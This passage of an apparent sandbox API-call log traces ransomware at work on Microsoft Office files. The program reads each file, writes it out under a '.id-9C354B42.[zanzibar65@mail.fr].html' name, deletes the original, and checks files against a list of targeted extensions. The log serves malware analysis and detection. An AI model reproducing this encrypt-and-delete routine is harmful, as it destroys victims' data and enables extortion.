lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.508] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0273.508] GetLastError () returned 0x0 [0273.508] ReadFile (in: hFile=0x38c, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x33892, lpOverlapped=0x0) returned 1 [0273.513] WriteFile (in: hFile=0x394, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0x338a0, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0x338a0, lpOverlapped=0x0) returned 1 [0273.517] ReadFile (in: hFile=0x38c, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.517] WriteFile (in: hFile=0x394, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.517] SetEndOfFile (hFile=0x394) returned 1 [0273.517] CloseHandle (hObject=0x394) returned 1 [0273.517] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.517] SetEndOfFile (hFile=0x38c) returned 1 [0273.522] CloseHandle (hObject=0x38c) returned 1 [0273.523] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.523] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx")) returned 1 [0273.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0273.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0273.523] lstrlenW (lpString=".doc") returned 4 [0273.523] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.523] lstrlenW (lpString=".docx") returned 5 [0273.523] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.523] lstrlenW (lpString=".pdf") returned 4 [0273.523] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.523] lstrlenW (lpString=".xls") returned 4 [0273.523] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.523] lstrlenW (lpString=".xlsx") returned 5 [0273.523] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.523] lstrlenW (lpString=".ppt") returned 4 [0273.523] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0273.524] lstrlenW (lpString=".zip") returned 4 [0273.524] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.524] lstrlenW (lpString=".rar") returned 4 [0273.524] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.524] lstrlenW (lpString=".bz2") returned 4 [0273.524] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.524] lstrlenW (lpString=".7z") returned 3 [0273.524] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0273.524] lstrlenW (lpString=".dbf") returned 4 [0273.524] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0273.524] lstrlenW (lpString=".1cd") returned 4 [0273.524] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0273.524] lstrlenW (lpString=".jpg") returned 4 [0273.524] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0273.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0273.524] lstrlenW (lpString=".doc") returned 4 [0273.524] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.524] lstrlenW (lpString=".docx") returned 5 [0273.524] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.524] lstrlenW (lpString=".pdf") returned 4 [0273.524] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.525] lstrlenW (lpString=".xls") returned 4 [0273.525] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.525] lstrlenW (lpString=".xlsx") returned 5 [0273.525] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.525] lstrlenW (lpString=".ppt") returned 4 [0273.525] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0273.525] lstrlenW (lpString=".zip") returned 4 [0273.525] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.525] lstrlenW (lpString=".rar") returned 4 [0273.525] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.525] lstrlenW (lpString=".bz2") returned 4 [0273.525] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.737] lstrlenW (lpString=".7z") returned 3 [0273.737] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0273.737] lstrlenW (lpString=".dbf") returned 4 [0273.737] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0273.737] lstrlenW (lpString=".1cd") returned 4 [0273.737] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0273.737] lstrlenW (lpString=".jpg") returned 4 [0273.737] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.737] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0273.737] lstrlenW (lpString="Opulent.eftx") returned 12 [0273.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0274.357] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=32857) returned 1 [0274.357] CloseHandle (hObject=0x394) returned 1 [0274.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx")) returned 0x20 [0274.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.417] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.417] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0274.417] GetLastError () returned 0x0 [0274.417] ReadFile (in: hFile=0x3a0, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x8059, lpOverlapped=0x0) returned 1 [0274.421] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0x8060, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0x8060, lpOverlapped=0x0) returned 1 [0274.422] ReadFile (in: hFile=0x3a0, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.423] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.423] SetEndOfFile (hFile=0x2ec) returned 1 [0274.423] CloseHandle (hObject=0x2ec) returned 1 [0274.424] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.424] SetEndOfFile (hFile=0x3a0) returned 1 [0274.426] CloseHandle (hObject=0x3a0) returned 1 [0274.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.438] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx")) returned 1 [0274.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0274.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0274.470] lstrlenW (lpString=".doc") returned 4 [0274.470] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.470] lstrlenW (lpString=".docx") returned 5 [0274.470] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.470] lstrlenW (lpString=".pdf") returned 4 [0274.470] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.470] lstrlenW (lpString=".xls") returned 4 [0274.470] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.470] lstrlenW (lpString=".xlsx") returned 5 [0274.470] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.470] lstrlenW (lpString=".ppt") returned 4 [0274.470] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0274.470] lstrlenW (lpString=".zip") returned 4 [0274.470] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.470] lstrlenW (lpString=".rar") returned 4 [0274.470] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.470] lstrlenW (lpString=".bz2") returned 4 [0274.470] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.471] lstrlenW (lpString=".7z") returned 3 [0274.471] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0274.471] lstrlenW (lpString=".dbf") returned 4 [0274.471] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0274.471] lstrlenW (lpString=".1cd") returned 4 [0274.471] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0274.471] lstrlenW (lpString=".jpg") returned 4 [0274.471] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0274.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0274.471] lstrlenW (lpString=".doc") returned 4 [0274.471] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.471] lstrlenW (lpString=".docx") returned 5 [0274.471] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.471] lstrlenW (lpString=".pdf") returned 4 [0274.471] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.471] lstrlenW (lpString=".xls") returned 4 [0274.471] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.471] lstrlenW (lpString=".xlsx") returned 5 [0274.471] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.471] lstrlenW (lpString=".ppt") returned 4 [0274.471] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0274.471] lstrlenW (lpString=".zip") returned 4 [0274.471] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.472] lstrlenW (lpString=".rar") returned 4 [0274.472] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.472] lstrlenW (lpString=".bz2") returned 4 [0274.472] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.472] lstrlenW (lpString=".7z") returned 3 [0274.472] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0274.472] lstrlenW (lpString=".dbf") returned 4 [0274.472] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0274.472] lstrlenW (lpString=".1cd") returned 4 [0274.472] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0274.472] lstrlenW (lpString=".jpg") returned 4 [0274.472] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.472] lstrcmpiW (lpString1=".MML", lpString2=".html") returned 1 [0274.472] lstrlenW (lpString="CAGCAT10.MML") returned 12 [0274.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0274.474] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=312400) returned 1 [0274.474] CloseHandle (hObject=0x398) returned 1 [0274.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml")) returned 0x20 [0274.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0274.474] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.474] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0274.546] GetLastError () returned 0x0 [0274.546] ReadFile (in: hFile=0x398, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x4c450, lpOverlapped=0x0) returned 1 [0274.554] WriteFile (in: hFile=0x390, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0x4c460, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0x4c460, lpOverlapped=0x0) returned 1 [0274.559] ReadFile (in: hFile=0x398, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.559] WriteFile (in: hFile=0x390, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.559] SetEndOfFile (hFile=0x390) returned 1 [0274.559] CloseHandle (hObject=0x390) returned 1 [0274.560] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.560] SetEndOfFile (hFile=0x398) returned 1 [0274.567] CloseHandle (hObject=0x398) returned 1 [0274.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml")) returned 1 [0274.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0274.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0274.568] lstrlenW (lpString=".doc") returned 4 [0274.568] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1 [0274.568] lstrlenW (lpString=".docx") returned 5 [0274.568] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1 [0274.568] lstrlenW (lpString=".pdf") returned 4 [0274.568] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1 [0274.568] lstrlenW (lpString=".xls") returned 4 [0274.568] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1 [0274.568] lstrlenW (lpString=".xlsx") returned 5 [0274.568] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1 [0274.568] lstrlenW (lpString=".ppt") returned 4 [0274.568] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1 [0274.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0274.568] lstrlenW (lpString=".zip") returned 4 [0274.568] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1 [0274.568] lstrlenW (lpString=".rar") returned 4 [0274.568] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1 [0274.568] lstrlenW (lpString=".bz2") returned 4 [0274.568] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1 [0274.568] lstrlenW (lpString=".7z") returned 3 [0274.568] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1 [0274.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0274.568] lstrlenW (lpString=".dbf") returned 4 [0274.568] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1 [0274.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0274.568] lstrlenW (lpString=".1cd") returned 4 [0274.568] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1 [0274.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0274.568] lstrlenW (lpString=".jpg") returned 4 [0274.568] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1 [0274.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0274.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0274.569] lstrlenW (lpString=".doc") returned 4 [0274.569] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1 [0274.569] lstrlenW (lpString=".docx") returned 5 [0274.569] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1 [0274.569] lstrlenW (lpString=".pdf") returned 4 [0274.569] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1 [0274.569] lstrlenW (lpString=".xls") returned 4 [0274.569] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1 [0274.569] lstrlenW (lpString=".xlsx") returned 5 [0274.569] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1 [0274.569] lstrlenW (lpString=".ppt") returned 4 [0274.569] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1 [0274.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0274.569] lstrlenW (lpString=".zip") returned 4 [0274.569] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1 [0274.569] lstrlenW (lpString=".rar") returned 4 [0274.569] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1 [0274.569] lstrlenW (lpString=".bz2") returned 4 [0274.569] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1 [0274.569] lstrlenW (lpString=".7z") returned 3 [0274.569] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1 [0274.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0274.569] lstrlenW (lpString=".dbf") returned 4 [0274.569] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1 [0274.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0274.569] lstrlenW (lpString=".1cd") returned 4 [0274.569] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1 [0274.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0274.570] lstrlenW (lpString=".jpg") returned 4 [0274.570] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1 [0274.570] lstrcmpiW (lpString1=".MMW", lpString2=".html") returned 1 [0274.570] lstrlenW (lpString="CAGCAT10.MMW") returned 12 [0274.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0274.570] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=394200) returned 1 [0274.570] CloseHandle (hObject=0x398) returned 1 [0274.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw")) returned 0x20 [0274.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0274.570] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.570] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0274.571] 